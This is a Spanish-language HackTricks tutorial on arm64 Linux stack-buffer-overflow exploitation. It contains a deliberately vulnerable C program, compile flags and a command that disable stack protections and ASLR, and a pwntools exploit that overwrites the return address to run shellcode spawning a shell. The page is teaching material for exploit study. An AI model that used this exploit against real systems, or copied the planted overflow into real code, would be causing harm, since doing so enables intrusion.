Stack Shellcode - arm64

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Encuentra una introducción a arm64 en:

Introduction to ARM64v8

Linux

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilar sin pie, canary y nx:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Sin ASLR y sin canary - Stack Overflow

Para desactivar ASLR ejecuta:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Para obtener el offset of the bof check this link.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

La única cosa “complicada” de encontrar aquí sería la dirección en el stack a la que llamar. En mi caso generé el exploit con la dirección encontrada usando gdb, pero luego al usar el exploit no funcionó (porque la dirección del stack cambió un poco).

Abrí el generado core archivo (gdb ./bog ./core) y comprobé la dirección real del inicio del shellcode.

macOS

Tip

No es posible desactivar NX en macOS porque en arm64 este modo está implementado a nivel de hardware, por lo que no puedes desactivarlo, así que no encontrarás ejemplos con shellcode en stack en macOS.

Revisa un ejemplo macOS ret2win en:

Ret2win - arm64

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks